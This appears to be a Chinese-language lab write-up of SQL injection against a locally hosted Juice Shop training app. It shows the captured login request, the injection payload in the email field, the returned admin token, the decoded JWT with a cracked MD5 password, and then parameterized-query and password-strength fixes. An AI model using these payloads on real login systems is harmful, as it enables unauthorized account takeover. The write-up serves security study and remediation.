SQL 注入实战:绕过登录验证,获取管理员身份
注意:本文实验均在个人本地部署、合法授权的靶场环境中完成,仅用于安全学习与漏洞分析。
一、实验目标与环境
1.1 实验目标
对登录接口进行 SQL 注入测试,验证是否能在不知道管理员密码的情况下登录,并结合源码分析漏洞根因及修复方式。
1.2 实验环境
| 项目 | 说明 |
|---|---|
| 实验目标 | 本地部署的授权靶场 |
| 目标地址 | http://127.0.0.1:3000 |
| 测试工具 | 浏览器、Burp Suite |
| 测试接口 | POST /rest/user/login |
二、正常登录流程与测试入口
2.1 捕获登录请求
首先在浏览器中随意填写一组账号密码,并使用 Burp Suite 抓取登录请求,以分析 Juice Shop 登录接口的基本结构。

抓取到的请求如下:
POST /rest/user/login HTTP/1.1
Host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 29
Origin: http://127.0.0.1:3000
Connection: keep-alive
Referer: http://127.0.0.1:3000/
Cookie: language=zh_CN; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=...
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
{"email":" 1","password":"1"}
2.2 分析登录请求
从该请求可以看出,Juice Shop 的登录功能通过:
POST /rest/user/login
接口完成,并且用户名和密码并不是以传统表单参数的形式提交,而是放在 HTTP 请求体中,以 JSON 格式发送:
{
"email": " 1",
"password": "1"
}
其中 email 和 password 是后续测试中的可控参数。
2.3 确定测试位置
选择 email 字段作为测试入口,password 保持为相同的错误密码。
三、SQL 注入验证
3.1 构造并发送注入请求
将请求发送到 Burp Repeater,修改email字段(登录账号为email,优先使用字符型注入进行验证,基础的试探此处不做演示):

POST /rest/user/login HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
{"email":"' or 1=1 limit 1 offset 0 --","password":"1"}
3.2 分析注入载荷
| 片段 | 预期作用 |
|---|---|
| ' | 尝试闭合原来的字符串 |
| OR 1=1 | 引入恒真条件,改变查询筛选逻辑 |
| LIMIT 1 OFFSET 0 | 取查询结果中的第一条记录 |
| -- | 尝试注释后续 SQL 内容 |
注意:以上是载荷的预期作用,实际执行逻辑需要结合源码中的 SQL 结构确认。
没有明确排序时,第一条记录不保证始终是管理员。
3.3 分析服务端响应
关键响应内容:
{
"authentication": {
"token": "<已省略>",
"bid": 1,
"umail": "admin@juice-sh.op"
}
}
记录观察结果:
- HTTP 状态码为 200。
- 响应包含 authentication 对象和登录令牌。
- 返回的用户邮箱为 admin@juice-sh.op。
判断依据:不能仅凭 200 判定绕过成功,需要结合身份字段以及令牌的实际使用结果。
四、管理员身份确认
4.1 查看 JWT 中的身份信息
JWT的结构:Header.Payload.Signature
"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJkYXRhIjp7ImlkIjoxLCJ1c2VybmFtZSI6IiIsImVtYWlsIjoiYWRtaW5AanVpY2Utc2gub3AiLCJwYXNzd29yZCI6IjAxOTIwMjNhN2JiZDczMjUwNTE2ZjA2OWRmMThiNTAwIiwicm9sZSI6ImFkbWluIiwiZGVsdXhlVG9rZW4iOiIiLCJsYXN0TG9naW5JcCI6IiIsInByb2ZpbGVJbWFnZSI6ImFzc2V0cy9wdWJsaWMvaW1hZ2VzL3VwbG9hZHMvZGVmYXVsdEFkbWluLnBuZyIsInRvdHBTZWNyZXQiOiIiLCJpc0FjdGl2ZSI6dHJ1ZSwiY3JlYXRlZEF0IjoiMjAyNi0wOS0yMiAxMDo1MzowNS45MzAgKzAwOjAwIiwidXBkYXRlZEF0IjoiMjAyNi0wOS0yMiAxMDo1MzowNS45MzAgKzAwOjAwIiwiZGVsZXRlZEF0IjpudWxsfSwiYmlkIjoxLCJpYXQiOjE3OTAxNjU2NTd9.huAb8bkpiSCeCSLdC9revXLHEG84yUmGkGC875eQPIJp16GCDzOJLuIsyvNE0kTVZltxuUsdB5ZsTCYOrHqd5rSkRZDKJQc2BOpCHnL-YPy8NRK1OmdnWjerDYT9AcNwHr1N5zZJx89vzZQmRCQHBlfexlOCG_5mxO6h125lQW0",
Base64URL解码返回:
Header:
{
"typ": "JWT",
"alg": "RS256"
}
Payload:
{
"data": {
"id": 1,
"username": "",
"email": "admin@juice-sh.op",
"password": "0192023a7bbd73250516f069df18b500",
"role": "admin",
"deluxeToken": "",
"lastLoginIp": "",
"profileImage": "assets/public/images/uploads/defaultAdmin.png",
"totpSecret": "",
"isActive": true,
"createdAt": "2026-09-22 10:53:05.930 +00:00",
"updatedAt": "2026-09-22 10:53:05.930 +00:00",
"deletedAt": null
},
"bid": 1,
"iat": 1790165657
}
由解码得出管理员的email及password,对password分析:
它是一个 32 位十六进制字符串,从格式上看很像MD5摘要值,查询彩虹表得知原文为admin123
4.2 结果验证
关闭burp suite的拦截功能,将得出的管理员账号密码输入登录界面进行验证:


由图得知,管理员身份登录成功。
4.3 前置补充
在登录界面的账号处直接构造此SQL语句' or 1=1 -- 密码随便输:


发现无需真实的admin管理员账号密码依旧实现了admin的登陆操作。
五、修复建议
5.1 使用参数化查询
通过参数绑定将用户输入作为数据处理,避免输入改变 SQL 语法结构。


源码由:
models.sequelize.query(
`SELECT * FROM Users
WHERE email = '${req.body.email}'
AND password = '${security.hash(req.body.password)}'`
)
改为:
return (req: Request, res: Response, next: NextFunction) => {
models.sequelize.query(
`SELECT * FROM Users
WHERE email = $1
AND password = $2
AND deletedAt IS NULL`,
{
bind: [
req.body.email,
security.hash(req.body.password)
],
model: models.User,
plain: true
}
)
原登录接口通过字符串拼接方式将 email 等用户输入直接加入 SQL 查询语句,导致用户输入可能改变原 SQL 的语法结构,从而产生 SQL 注入漏洞。修复后使用 Sequelize 的参数绑定机制,以 $1、$2 作为 SQL 占位符,并通过 bind 将邮箱和密码哈希作为参数传递。数据库将 SQL 语句结构和用户输入数据分离处理,因此用户输入不会再被解释为 SQL 语法,从而有效防止 SQL 注入。
5.2 增加密码强度校验

源代码由:
password: {
type: DataTypes.STRING,
set (clearTextPassword: string) {
this.setDataValue('password', security.hash(clearTextPassword))
}
}
改为
password: {
type: DataTypes.STRING,
set (clearTextPassword: string) {
validatePasswordHasAtLeastTenChar(clearTextPassword)
validatePasswordIsNotInTopOneMillionCommonPasswordsList(clearTextPassword)
this.setDataValue('password', security.hash(clearTextPassword))
}
}
原代码在密码写入数据库前仅进行了哈希处理,没有对密码长度以及是否属于常见弱密码进行校验。修复后增加最小长度限制,并检测密码是否存在于常见弱密码字典中,从而降低弱密码被暴力破解或字典攻击的风险。
六、实验总结
本次实验以登录接口 POST /rest/user/login 为入口,通过 Burp Suite 捕获请求,分析 JSON 请求体中的 email 和 password 参数,并在 email 字段中构造 SQL 注入载荷。服务端随后返回了包含管理员邮箱的认证信息及登录令牌;在登录页面中使用注入载荷,也实现了无需真实管理员密码的登录。
结合文中展示的源码,可以确认漏洞根因是后端将 email 参数直接拼接进 SQL 查询。输入中的单引号、恒真条件和注释符改变了原有查询逻辑,使密码校验条件被绕过。后端又将查询得到的用户记录作为认证成功的依据,最终为管理员身份签发了令牌。因此,本次利用属于 SQL 注入导致的认证绕过,而不是 JWT 签名伪造。
实验还发现,返回的 JWT 载荷包含 password 字段。对该字段进行分析后,找到了与其哈希值匹配的弱密码,并通过正常登录进行了验证。这暴露出额外的问题:认证令牌携带了不必要的敏感信息,且管理员使用了容易被猜测的密码。需要区分的是,弱密码验证属于附加发现,SQL 注入绕过登录本身并不依赖获取真实密码。
针对 SQL 注入,核心修复措施是使用参数化查询,使用户输入作为数据参与查询,避免其改变 SQL 语法结构。密码强度校验和减少 JWT 中的敏感字段则分别用于降低弱密码及信息泄露风险。修复是否有效,还需要通过原始注入载荷、错误密码和正确凭据进行对照复测。
通过本次实验,我梳理了从可控输入、数据库查询到身份认证与令牌签发的完整链路。判断漏洞是否成立,不能只看响应状态码或页面提示,还应结合响应内容、实际登录身份与后端代码形成相互印证的证据。

浙公网安备 33010602011771号